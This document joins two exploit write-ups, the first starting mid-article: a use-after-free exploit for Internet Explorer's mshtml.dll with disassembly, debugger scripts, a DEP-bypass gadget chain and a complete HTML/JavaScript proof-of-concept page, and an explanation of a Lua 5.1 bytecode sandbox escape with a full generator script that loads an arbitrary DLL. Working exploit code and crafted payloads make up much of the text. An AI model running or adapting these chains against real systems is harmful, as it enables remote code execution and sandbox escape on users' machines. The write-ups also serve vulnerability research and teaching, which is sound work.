    .text:639910C2                 jz      short loc_639910D4
    .text:639910C4                 mov     ecx, [edi+4]
    .text:639910C7                 cmp     ecx, [eax+54h]
    .text:639910CA                 jge     short loc_639910D4
    
[/code]

So apparently \[edi+C\] contains an object that was freed but is now being
referenced again. If we replace the freed memory with our own data we have
control over the jge call after this and potentially code execution somewhere.
Unfortunately there is no straight path from the freed object to a dynamic
call based on the data in that object. When digging around in all the child
functions reachable I could not find anything that I could easily use for code
execution.  
  
However, if we look at what this function can return, we find the following
code:

[code]

    .text:63663A9A                 call    dword ptr [eax+4] 
        ; The call to mshtml!CTableCellsCollectionCacheItem::GetNext:
    .text:63663A9D                 mov     esi, eax
    .text:63663A9F                 cmp     esi, edi
    .text:63663AA1                 jz      loc_63663B2E
    .
    .
    .
    .text:63663AB7                 mov     ecx, esi
    .text:63663AB9                 push    eax
    .text:63663ABA                 push    [ebp+arg_4]
    .text:63663ABD                 push    [ebp+arg_0]
    .text:63663AC0                 call    CCollectionCache::GetAtomFromName
    
[/code]

If we control the return from CTableCellsCollectionCacheItem::GetNext we will
control ecx into the next function.  

[code]

    ; private: static long __stdcall
    CCollectionCache::GetAtomFromName
    
    arg_0= dword ptr  8
    arg_4= dword ptr  0Ch
    arg_8= byte ptr  10h
    
    mov     edi, edi
    push    ebp
    mov     ebp, esp
    or      dword ptr [edi], 0FFFFFFFFh
    push    esi
    push    0
    mov     esi, 80020003h
    call    CElement::GetAtomTable(int *)
    
[/code]

We still control ecx:  

[code]

    ; public: virtual class CAtomTable * __thiscall CElement::GetAtomTable
    
    arg_0= dword ptr  8
    
    mov     edi, edi
    push    ebp
    mov     ebp, esp
    push    ebx
    push    esi
    mov     esi, ecx
    xor     ebx, ebx
    call    CElement::Doc(void)
    
[/code]

and voila:

[code]

    ; public: class CDoc * __thiscall CElement::Doc(void)const
    mov     eax, [ecx]
    mov     edx, [eax+70h]
    call    edx
    
[/code]

We get a vftable from hopefully controllable memory followed by a call. Now
all we need to figure out is how to let the
CTableCellsCollectionCacheItem::GetNext function return something useful. The
way that I found and used was to get into the
CTableRowCellsCollectionCacheItem::GetNext reachable through

[code]

    .text:639910CE loc_639910CE:                           
    .text:639910CE        pop     edi
    .text:639910CF        jmp     CTableRowCellsCollectionCacheItem::GetNext
    
[/code]

If we take the right path through this function we can hit:

[code]

    .text:6399A3E8 loc_6399A3E8:                           
    .text:6399A3E8                 mov     eax, edi
    .text:6399A3EA
    .text:6399A3EA loc_6399A3EA:                           
    .text:6399A3EA                 pop     edi
    .text:6399A3EB                 pop     esi
    .text:6399A3EC                 leave
    .text:6399A3ED                 retn
    
[/code]

we can control the value of edi at the following location:

[code]

    loc_6399A380:
    mov     ecx, [eax+58h]
    mov     edx, [esi+18h]
    mov     ecx, [ecx+0Ch]
    mov     edi, [ecx+edx*4]
    
[/code]

or

[code]

    .text:6399A361                 mov     eax, [eax+48h]
    .text:6399A364                 mov     edi, [eax+ecx*4]
    .text:6399A367                 mov     eax, edi
    
[/code]

if you look at the following code you can see that it might be possible to
control the \[ecx+edx\*4\] or \[eax+ecx\*4\]

[code]

    .text:6399A320 loc_6399A320:
    .text:6399A320                 mov     eax, [esi+0Ch]
    .text:6399A323                 cmp     eax, edi
    .text:6399A325                 jz      loc_6399A3E8
    .text:6399A32B                 mov     ecx, [esi+4]
    .text:6399A32E                 cmp     ecx, [eax+54h]
    .text:6399A331                 jge     loc_6399A3E8
    .text:6399A337                 mov     ecx, [eax+58h]
    .text:6399A33A                 cmp     ecx, edi
    .text:6399A33C                 jz      short loc_6399A350
    .text:6399A33E                 mov     ecx, [ecx+4]
    .text:6399A341                 shr     ecx, 2
    .text:6399A344                 cmp     [esi+18h], ecx
    .text:6399A347                 mov     [ebp+var_4], 1
    .text:6399A34E                 jl      short loc_6399A353
    .text:6399A350
    .text:6399A350 loc_6399A350:
    .text:6399A350                 mov     [ebp+var_4], edi
    .text:6399A353
    .text:6399A353 loc_6399A353:
    .text:6399A353                 mov     ecx, [esi+10h]
    .text:6399A356                 push    ebx
    .text:6399A357                 mov     ebx, [eax+40h]
    .text:6399A35A                 shr     ebx, 2
    .text:6399A35D                 cmp     ecx, edi
    .text:6399A35F                 jl      short loc_6399A380
    
[/code]

at 6399A320 _mov eax, \[esi+0Ch\]_ we are again fetching our freed memory. if
we step through we see we control some of the data but not everything, and at
the end we will go into the block:

[code]

    .text:6399A361                 mov     eax, [eax+48h]
    .text:6399A364                 mov     edi, [eax+ecx*4]
    .text:6399A367                 mov     eax, edi
    .text:6399A369                 call    CTableCell::GetAAcolSpan(void)
    
[/code]

Since we still control the memory in \[eax\] and although we don't control
ecx, it is always 0x0 we will get control over edi. Now all we need to do is
survive the rest of the function and get the hell out of Dodge.  
  
We could trace into all the functions called from
CTableCell::GetAAcolSpan\(void\) but since the return of the functions appears
the be relatively unimportant it is enough to just set our second object to
contain a bunch of NULLs. We will later start filling this in to achieve real
code execution.  
  
The end result will be that we eventually reach the CElement::Doc\(void\) with
ecx pointing to our 2nd fake object.  
  

### Look mom, no heap spray\!

  
Now, we know it is possible to get this exploit on a path to destruction by
linking the right objects together. The first exploit I wrote for this was
back in 2010 somewhere and I simply used an aligned heapspray to layout the
memory in the browser the way that I need it to be. When I looked at this bug
again for the Pwn2Own challenges I decided that aligned heapsprays are useful,
but ugly and I tried to find a way to exploit this issue without heapspray.  
  
Last year at Pwn2Own Stephen Fewer used a nice memory disclosure bug in IE to
get some information about the state of the program. Since this bug is older
that I decided to use his disclosure to avoid heapsprays.  
The code that he used looked like this:  

[code]

    var tbl = document.createElement( 'option' ).index;
    
[/code]

What this gives you is a pointer in the global variables table in Internet
Explorer. This table looks roughly like this:

[code]

    1:023> dc 003cd818 L8   
    003cd818  00000082 00000000 03896b00 003c3930  .........k..09<.
    003cd828  00000087 003cd008 00188420 0000047f  ......<. .......
    1:025> dc 03896b00
    03896b00  0070006f 00690074 006e006f 00000000  o.p.t.i.o.n.....
    
[/code]

So every entry is 0x10 hex long and has a pointer to the actual variable. By
using

[code]

    var a = "our data"
    
[/code]

combined with the memory disclosure we can know an address in memory where a
pointer to our data will be. So we do not have the actual address, but we
don't need that in this case. If you read back you see that we dereference our
freed object twice to let it point to the next object:

[code]

    .text:6399A361                 mov     eax, [eax+48h]
    .text:6399A364                 mov     edi, [eax+ecx*4]
    
[/code]

We can simply point \[eax+48\] to the correct location in the global variables
table and this will result in edi pointing to memory directly under our
control. To find the correct offset in the global variables table I used the
following code:

[code]

      var tbl = document.createElement( 'option' ).index;
      Math.atan2(0xbabe, ("table at : " + tbl.toString(16)).toString());
    
[/code]

combined with windbg breakpoints and scripts:

[code]

    bu jscript!JsAtan2 ".printf \"%mu\", poi(poi(poi(esp+14)+8)+8);.echo;g"
    
    .for(r @$t0 = 0; @$t0 < 0x30; r @$t0 = @$t0 + 1) { r @$t0;dc poi(3ce340 - (0x10 * @$t0) + 8);}
    
[/code]

where 0x3ce340 was the table address I got from the memory leak.  
  
What this does is print out all the global variables in the table. For me
obj\_two is located 0x2a objects before the tbl. so if we create our freed
memory in such a way that 'mov eax, \[eax+48h\]' returns the address in the
global variables table that points to our string, 'mov edi, \[eax+ecx\*4\]'
will make sure we control the memory pointed to by edi.  
  
Taking a step back and then into the CElement::Doc\(void\) function will
result into:

[code]

    6363fcc4 8b01     mov     eax,dword ptr [ecx]  ds:0023:001db134=42424242
    6363fcc6 8b5070   mov     edx,dword ptr [eax+70h] ds:0023:424242b2=????????
    
[/code]

followed by:

[code]

    6363fcc9 ffd2            call    edx
    
[/code]

So we have proven that we can reach a piece of code that would allow us to
control the flow of the execution. The easy way to complete this code would be
a heapspray so we can change our 0x42424242 into a 0x0A0A0A00 or something and
then spray with where ever we want to go from there.  
How ever, I did not want to spray at all \(except a little in the beginning to
get the heap setup correct\)  
  
So .. what to do? We control \[ecx\] which in turn allows us to control eax,
but we cannot us the same global variables trick again since that would result
in calling into the heap. However we control \[ecx\] and we control \[esi\]
which made me think. ecx is used as the this pointer in a lot of functions. If
I can find a function in a .dll that does a double dereference from ecx and
then uses that to make a call we should be able to use another Global Variable
to get full control. We do however need a pointer to that function in a fixed
location.  
  
The solution? Somewhat ugly: take a dll file \(I started with jscript.dll\),
look for any function pointers inside that file and analyse the function to
see if it does a double dereferce from ecx followed by a call. I wrote a quick
IDA python script to do this and spit out potential candidates. The first one
it found was:

[code]

    .text:6340E030 ; public: virtual long __thiscall ObjEvtHandler::Reset(void)
    .text:6340E030                 mov     edi, edi
    .text:6340E032                 push    esi
    .text:6340E033                 mov     esi, ecx
    .text:6340E035                 mov     eax, [esi+14h]
    .text:6340E038                 test    eax, eax
    .text:6340E03A                 jz      short loc_6340E04B
    .text:6340E03C                 mov     ecx, [eax]
    .text:6340E03E                 mov     edx, [ecx+8]
    .text:6340E041                 push    eax
    .text:6340E042                 call    edx
    
[/code]

Since we control ecx, as a result we control esi, if we set \[esi+14\] to
another Global Variables address, 'mov ecx, \[eax\]' will set ecx to point to
our controlled memory. After that 'mov edx, \[ecx+8\]' will allow us to set
edx to any value we want and we directly control the call edx afterwards. All
we need is to set \[ecx\] in the CElement::Doc\(void\) function to address
where a pointer to ObjEvtHandler::Reset function is \(minus hex 0x70\).  
  

### The point of no retn

Now we have complete control over our program flow. But we still need to
defeat DEP. I decided to use the technique explained by 'Spencer W Pratt' at
http://seclists.org/fulldisclosure/2010/Mar/att-553/Windows-DEP-WPM.txt  
This basically boils down to forcing a call _WriteProcessMemory\(-1,
0x7C8022CF, <shellcode&rt;, <lengt&rt;\)_ This will overwrite part of the
WriteProcessMemory code with our own shellcode. You could of course take the
easy way and find a stack pivot gadget and ROP your way into this, but I
thought it would be fun to abuse the already existing code some more. This
does make it all a bit less reliant since it will only work for a specific
version of mshtml, but who cares.  
  
After we do the 'call edx' from ObjEvtHandler::Reset we control \[ecx\] and
\[esi\], so I decided to look for a piece of code in mshtml that does roughly
this:

[code]

    push [reg+offset]
    push ecx | esi
    push [reg + offset]
    push [reg + offset]
    call [reg + offset]
    
[/code]

This way we could grab all the fixed function arguments \(0xFFFFFFFF,
0x7C8022CF and shellcode length\) from our controlled data, and use ecx or esi
as a pointer to our shellcode. I found the following option:

[code]

    .text:63A47A9F                 push    dword ptr [esi+0Ch]
    .text:63A47AA2                 push    ecx
    .text:63A47AA3                 push    dword ptr [esi+54h]
    .text:63A47AA6                 push    dword ptr [esi+78h]
    .text:63A47AA9                 call    dword ptr [eax+edi+2BCh]
    
[/code]

So if we want to use this we need to take control of \[esi+C\], \[esi+54\] and
\[esi+78\] and we need to control \[eax+edi+2BC\]. Lets start the dance by
taking control over eax, I found a piece of code in mshtml that does the
following:

[code]

    .text:63742247                 lea     eax, [esi+1Ch]
    .text:6374224A                 push    eax
    .text:6374224B                 push    edi
    .text:6374224C                 call    dword ptr [ecx+0Ch]
    
[/code]

This gives us control over \[eax\] since it it now pointing into our
previously controlled data. We also keep the dance going by fetching the next
function call from memory under our control: \[ecx+C\]  
  
Next step is to control edi:

[code]

    .text:63A1ECA5                 mov     edi, [eax+40h]
    .text:63A1ECA8                 push    eax
    .text:63A1ECA9                 call    dword ptr [ecx+10h]
    
[/code]

We need to put something useful into \[eax+40\] which is \[obj\_two + 0x40 +
0x1C\]. You would think we could now call into our push push push push call
piece of code, but unfortunately we are still not done and because \[esi\]
points to our obj\_two data which is actually being used in the
GetAAcolSpan@CTableCell we cannot just set every piece of memory with what
ever we want, and in this case one of the push \[esi+XXX\] fields overlaps
with something used in that function.  
Easiest solution: adjust esi a little bit with the following piece of code:

[code]

    .text:639745A7                 add     esi, 14h
    .text:639745AA                 push    esi
    .text:639745AB                 push    eax
    .text:639745AC                 call    dword ptr [ecx+18h]
    
[/code]

And we're all set to call into:

[code]

    .text:63A47A9F                 push    dword ptr [esi+0Ch]
    .text:63A47AA2                 push    ecx
    .text:63A47AA3                 push    dword ptr [esi+54h]
    .text:63A47AA6                 push    dword ptr [esi+78h]
    .text:63A47AA9                 call    dword ptr [eax+edi+2BCh]
    
[/code]

I chose to set edi to 0xFFFFFD44 so \[eax + 0xFFFFFD44 + 0x2BC\] = \[eax\],
the end result?

[code]

    kernel32!WriteProcessMemory+0x6d:
    7c8022cf cc              int     3
    
    7c8022c9 ff150414807c    call    dword ptr [kernel32!_imp__NtWriteVirtualMemory (7c801404)]
    7c8022cf cc              int     3
    7c8022d0 cc              int     3
    7c8022d1 cc              int     3
    7c8022d2 cc              int     3
    
[/code]

yes, I was too lazy to add actual shellcode so I simply write int3 to
kernel32\!WriteProcessMemory  
  
To tie it all together it looks like this:  
<img src='img/Temp2_8396.png' width='600' />  
And the end result of the POC looks like this:

[code]

    <html>
      <head>
        <script>
         
         function Start() {
    
        var mem = new Array(30);
    
        //shooting some holes in the heap to make sure our freed block will not be coalescent
        for(i =0; i < mem.length; i++) {  
            mem[i] = document.createElement('div');
            mem[i].className = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
         }
    
         for(i = 1; i < mem.length; i += 2) {
           mem[i].className = null;       
         }
    
         var tbl = document.createElement('option').index;
       
          var obj_one = unescape("%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000" + table_var(tbl, -42, 8) + "%u0000%u0000%u0000%u0000%u0002%u0000%u0000%u0000%u0000")
    
    
          var obj_two = unescape("%u5a94%u633c%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000" + table_var(tbl, -44, 8) + "%u0000%u0000%u2213%u7c80%u0100%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%uFD44%uFFFF%u0000%u0000%u0000%u0000%u22cf%u7c80%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%uFFFF%uFFFF%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000");
    
    
          var shellcode = unescape("%ucccc%ucccc%u0000%u0000%u2247%u6374%ueca5%u63a1%u45a7%u6397%u0000%u0000%u7a9f%u63a4%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000")
    
            var TableClone = document.getElementById('tableid').cloneNode(1);
            var TableCellUrns = TableClone.cells.urns('a');
            var bla = TableClone.cells.item(1);
            var TableCellUrnsTags = TableCellUrns.tags('a');
            TableClone.outerText = 'a';
            CollectGarbage()
    
           for(i = 0; i < mem.length; i++) {
             mem[i] = obj_one.substr(0,obj_one.length);
           }
    
            Result = TableClone.cells;
          
    
            Result = TableCellUrnsTags.item(-1);
          }
        
        function table_var(tbl, index, offset) {
        	address =  tbl + (index*0x10) + offset;
        	return make_dword(address);   	
        }
    
        function make_dword(addr) {
        	str_padding = "00000000"
        	str_addr = addr.toString(16);
        	str_addr = str_padding.substr(0,8 - str_addr.length) + str_addr;
        	return unescape("%u" + str_addr.substr(4,8) + "%u" + str_addr.substr(0,4));
        }
    
        </script>
      </head>
      <body onLoad="window.setTimeout(Start,100);" id="bodyid">
    
        <table id="tableid">
          <tr><th id="thid"></th></tr>
          <tr id="trid"><td id="tdid"></td></tr>
        </table>
            
      </body>
    </html>
    
[/code]

Download here  
  
So all in all: no \(real\) heapspray and no retn instructions were harmed
creating this exploit. Is it useful? Hardly, I used mshtml.dll and this dll
changes frequently, so this code chain will not work on any other version but
the one I wrote this for \(8.0.6001.18702\). You might have noticed the out
commented line in the trigger, and how it is no longer outcommented in the end
result. I leave it up to the viewers to figure out why that is.  
  

Tags:

Published On: 2012-03-15 10:01:31

####  Comments

# Exploiting Lua 5.1 on 32-bit Windows.md

**Created:**| _9/17/2013 7:47:57 AM_  
---|---  
**Updated:**| _9/17/2013 7:47:57 AM_  
**Author:**| __  
**Tags:**| _Exploit lua_  
  

# Exploiting Lua 5.1 on 32-bit Windows

The following Lua program generates a Lua bytecode program called `ignore-
unsigned-sga.fnt`, which in turn loads a DLL from within an extremely locked
down Lua 5.1 sandbox in a program called RelicCOH2.exe. The remainder of this
document attempts to explain how this program works by a whirlwind tour of
relevent bits of the Lua 5.1 virtual machine.

[code]

    if string.dump(function()end):sub(1, 12) ~= "\27Lua\81\0\1\4\4\4\8\0" then
      error("This generator requires a 32-bit version of Lua 5.1")
    end
    
    local function outer()
      local magic -- In bytecode, the stack slot corresponding to this local is changed
      local function middle()
        local function f2ii(x) -- Convert double to uint32_t[2]
          if x == 0 then return 0, 0 end
          if x < 0 then x = -x end
    
          local e_lo, e_hi, e, m = -1075, 1023
          while true do
            e = (e_lo + e_hi)
            e = (e - (e % 2)) / 2
            m = x / 2^e
            if m < 0.5 then e_hi = e elseif 1 <= m then e_lo = e else break end
          end
    
          if e+1023 <= 1 then
            m = m * 2^(e+1074)
            e = 0
          else
            m = (m - 0.5) * 2^53
            e = e + 1022
          end
    
          local lo = m % 2^32
          m = (m - lo) / 2^32
          local hi = m + e * 2^20
          return lo, hi
        end
        local function ii2f(lo, hi) -- Convert uint32_t[2] to double
          local m = hi % 2^20
          local e = (hi - m) / 2^20
          m = m * 2^32 + lo
    
          if e ~= 0 then
            m = m + 2^52
          else
            e = 1
          end
          return m * 2^(e-1075)
        end
        local function asnum(x) -- Reinterpret any TValue as a number
          for i = x, x, 0 do -- This would throw an exception for non-numbers if it weren't for modified bytecode
            return i
          end
        end
        local co, upval
        local function inner()
          local ub1 = {[0] = -- Convert uint8_t to char[1]
            "\0", "\1", "\2", "\3", "\4", "\5", "\6", "\7", "\8", "\9", "\10", "\11", "\12", "\13", "\14",
            "\15", "\16", "\17", "\18", "\19", "\20", "\21", "\22", "\23", "\24", "\25", "\26", "\27", "\28",
            "\29", "\30", "\31", "\32", "\33", "\34", "\35", "\36", "\37", "\38", "\39", "\40", "\41", "\42",
            "\43", "\44", "\45", "\46", "\47", "\48", "\49", "\50", "\51", "\52", "\53", "\54", "\55", "\56",
            "\57", "\58", "\59", "\60", "\61", "\62", "\63", "\64", "\65", "\66", "\67", "\68", "\69", "\70",
            "\71", "\72", "\73", "\74", "\75", "\76", "\77", "\78", "\79", "\80", "\81", "\82", "\83", "\84",
            "\85", "\86", "\87", "\88", "\89", "\90", "\91", "\92", "\93", "\94", "\95", "\96", "\97", "\98",
            "\99", "\100", "\101", "\102", "\103", "\104", "\105", "\106", "\107", "\108", "\109", "\110", "\111",
            "\112", "\113", "\114", "\115", "\116", "\117", "\118", "\119", "\120", "\121", "\122", "\123", "\124",
            "\125", "\126", "\127", "\128", "\129", "\130", "\131", "\132", "\133", "\134", "\135", "\136", "\137",
            "\138", "\139", "\140", "\141", "\142", "\143", "\144", "\145", "\146", "\147", "\148", "\149", "\150",
            "\151", "\152", "\153", "\154", "\155", "\156", "\157", "\158", "\159", "\160", "\161", "\162", "\163",
            "\164", "\165", "\166", "\167", "\168", "\169", "\170", "\171", "\172", "\173", "\174", "\175", "\176",
            "\177", "\178", "\179", "\180", "\181", "\182", "\183", "\184", "\185", "\186", "\187", "\188", "\189",
            "\190", "\191", "\192", "\193", "\194", "\195", "\196", "\197", "\198", "\199", "\200", "\201", "\202",
            "\203", "\204", "\205", "\206", "\207", "\208", "\209", "\210", "\211", "\212", "\213", "\214", "\215",
            "\216", "\217", "\218", "\219", "\220", "\221", "\222", "\223", "\224", "\225", "\226", "\227", "\228",
            "\229", "\230", "\231", "\232", "\233", "\234", "\235", "\236", "\237", "\238", "\239", "\240", "\241",
            "\242", "\243", "\244", "\245", "\246", "\247", "\248", "\249", "\250", "\251", "\252", "\253", "\254",
            "\255"}
          local function ub4(x) -- Convert little endian uint32_t to char[4]
            local b0 = x % 256; x = (x - b0) / 256
            local b1 = x % 256; x = (x - b1) / 256
            local b2 = x % 256; x = (x - b2) / 256
            local b3 = x % 256
            return ub1[b0] .. ub1[b1] .. ub1[b2] .. ub1[b3]
          end
          do local l0 = 2^52 local l1, l2, l3, l4, l5, l6, l7 = l0, l0, l0, l0, l0, l0, l0 end
          co = coroutine.wrap(ub4) -- create a CClosure
          upval = 2^52 .. ub4(asnum(co) - (2^52 - 12))
          local upval_ptr = ub4(asnum(upval) - (2^52 - 16 - 12))
          magic = upval_ptr .. upval_ptr -- sets middle's call frame's LClosure::p and LClosure::upvals[0]
        end
        local delta = 39984 -- (char*)ll_loadlib - (char*)luaB_auxwrap
        local dll = "ignore-unsigned-sga.dll"
        inner()
        -- As inner has manipulated the call frame, globals and literal constants cannot be used for the remainder of the function.
        local lo, hi = f2ii(asnum(magic)) -- lo and hi are co's CClosure::env and CClosure::f
        magic = ii2f(lo, hi + delta) -- sets co's CClosure::f to ll_loadlib
        co(dll, dll)
      end
      middle()
    end
    
    outer = string.dump(outer)
      :gsub("\96%z%z\128", "\22\0\0\128") -- remove the FORPREP in asnum
      :gsub("(\100%z%z%z)....", "%1\0\0\0\1", 1) -- in outer, bind magic to the stack slot containing the executing function
    local f = io.open("ignore-unsigned-sga.fnt", "wb")
    f:write(outer)
    f:close()
    
[/code]

* * *
The first structure of interest is the `TValue`, which is used to represent
Lua values throughout the virtual machine:

[code]

    struct TValue {
      union {
        void *p;
        double n;
      } value;
      int tt;
    };
    
[/code]

The value of `tt` specifies which member of the union is in use. We're
interested in the following values for `tt` and associated layouts of `TValue`
on 32-bit Windows:

Bits 0-31| Bits 32-63| Bits 64-95 \(`tt`\)| Bits 96-127  
---|---|---|---  
unused| `LUA_TNIL`| padding  
`void*`| unused| `LUA_TLIGHTUSERDATA`| padding  
`double`| `LUA_TNUMBER`| padding  
`TString*`| unused| `LUA_TSTRING`| padding  
`Closure*`| unused| `LUA_TFUNCTION`| padding  
* * *
The first Lua virtual machine opcodes of interest are `OP_FORPREP` and
`OP_FORLOOP`, which are used to implement Lua's numeric for loop. Their
implementations are as follows:

[code]

    case OP_FORPREP:
      const TValue *init = ra;
      const TValue *plimit = ra+1;
      const TValue *pstep = ra+2;
      L->savedpc = pc;  /* next steps may throw errors */
      if (!tonumber(init  , ra  )) luaG_runerror(L, "'for' initial value must be a number");
      if (!tonumber(plimit, ra+1)) luaG_runerror(L, "'for' limit must be a number");
      if (!tonumber(pstep , ra+2)) luaG_runerror(L, "'for' step must be a number");
      setnvalue(ra, nvalue(ra) - nvalue(pstep));
      dojump(L, pc, GETARG_sBx(i));
    
[/code]

[code]

    case OP_FORLOOP:
      double step = nvalue(ra+2);
      double idx = nvalue(ra) + step; /* increment index */
      double limit = nvalue(ra+1);
      if ((0 < step) ? (idx <= limit) : (limit <= idx)) {
        dojump(L, pc, GETARG_sBx(i));  /* jump back */
        setnvalue(ra, idx);  /* update internal index... */
        setnvalue(ra+3, idx);  /* ...and external index */
      }
    
[/code]

In normal operation, `OP_FORPREP` checks that the three parameters to a
numeric for loop are in fact numbers, performs the inverse of the addition at
the start of `OP_FORLOOP`, and then jumps to a `OP_FORLOOP` instruction. In
normal operation, `OP_FORLOOP` executes before the start of the loop and at
the end of every loop body, and its role is to increment the loop counter and
then conditionally jump back into the loop body. Crucially, because it is
assumed that `OP_FORPREP` has checked that every `TValue` contains a number,
`OP_FORLOOP` unconditionally interprets the low 64-bits of every `TValue` as a
`double`. Although `OP_FORPREP` and `OP_FORLOOP` normally occur in pairs, if
we're writing bytecode manually, then we can emit a lone `OP_FORLOOP`
instruction, or if we're patching generated bytecode, then we can replace an
`OP_FORPREP` instruction with an instruction which just does `dojump(L, pc,
GETARG_sBx(i))`.

Patching out an `OP_FORPREP` instruction gives us our first interesting
function:

[code]

    asnum = loadstring((string.dump(function(x)
      for i = x, x, 0 do
        return i
      end
    end):gsub("\96%z%z\128", "\22\0\0\128")))
    
[/code]

Upon first inspection, `asnum` doesn't seem overly useful:

[code]

    f = function() end
    print(tostring(f)) --> function: 003C42D0
    print(asnum(f))    --> 1.9511956687576e-317
    
[/code]

As a stranger example, consider the following:

[code]

    do local dummy = 2^52 end
    local f = function() end
    print(tostring(f))     --> function: 003BC810
    print(asnum(f) - 2^52) --> 3917840
    
[/code]

The first line creates a `TValue` containing a 64-bit `double` payload, and
then throws away the `TValue` as it leaves scope. The second line creates a
`TValue` containing a 32-bit `Closure*` payload, and due to the stack nature
of Lua locals, this `TValue` re-uses the storage from the previous `TValue`,
so it inherits bits 32-63 from the `double`. In binary, `2^52` is a one
followed by fifty-two zeroes, and a `double` conveniently has fifty-two bits
of mantissa \(precision\). Therefore, for a thirty-two bit `n`, `2^52+n` in
binary is a one followed by twenty zeroes followed by the thirty-two bits of
`n`, and in a `double` these bits of `n` occupy the low thirty-two bits. The
above example uses this process in reverse to convert `f` to a thirty-two bit
number, which is clear after noticing that `0x003BC810` \(hexadecimal\) is
equal to `3917840` \(decimal\). As such, `asnum` gives us a way to pull the
`TString*` or `Closure*` out of a specially constructed `TValue`.

* * *
The next structure of interest is `LClosure`, which represents an instance of
a Lua function:

[code]

    struct LClosure {
      GCObject *next;
      lu_byte tt; /* == LUA_TFUNCTION */
      lu_byte marked;
      lu_byte isC; /* == 0 */
      lu_byte nupvalues;
      GCObject *gclist;
      struct Table *env;
      struct Proto *p; /* this contains the bytecode to execute */
      UpVal *upvals[nupvalues]; /* variably sized */
    };
    
[/code]

Also of interest is `TString`, which represents a Lua string:

[code]

    struct TString {
      GCObject *next;
      lu_byte tt; /* == LUA_TSTRING */
      lu_byte marked;
      lu_byte reserved; /* == 0 for most strings */
      unsigned int hash; /* == hash_of(s) */
      size_t len;
      char s[len]; /* variably sized */
    };
    
[/code]

Comparing their memory layouts, we get the following:

Bits 0-31| Bits 32-63| Bits 64-95| Bits 96-127| Bits 128-191  
---|---|---|---|---  
`next`| `tt`| `marked`| `isC`| `nupvalues`| `gclist`| `env`| `p`| `upvals[0]`  
`next`| `tt`| `marked`| `reserved`| padding| `hash`| `len`| `s[0:3]`| `s[4:7]`  
Related to `LClosure` is the `UpVal` structure, which represents a single free
variable of a Lua closure:

[code]

    struct UpVal {
      GCObject *next; /* next in the GC list, not the next UpVal */
      lu_byte tt; /* == LUA_TUPVAL */
      lu_byte marked;
      TValue *v;
      /* ... more fields ... (not of interest) */
    };
    
[/code]

To see these structures in practice, consider the following example:

[code]

    function outer()
      local s = "Hello"
      local function inner()
        s = "World"
      end
      print(s) --> Hello
      inner()
      print(s) --> World
    end
    
[/code]

The `outer` function becomes an `LClosure` with zero `UpVal`s, whereas the
`inner` function becomes an `LClosure` with one `UpVal` \(whose `v` field
points to the `s` variable in `outer`'s stack\).

* * *
The next topic of note is how call frames work in the Lua virtual machine. For
this, consider the following example:

[code]

    function f(x)
      local y = 22
      g(33)
    end
    function g(x)
      h(44)
    end
    function h(x)
      return 55
    end
    f(11)
    
[/code]

When the `return 55` instruction is executing, the top of the stack contains
eight interesting values and four call frames:

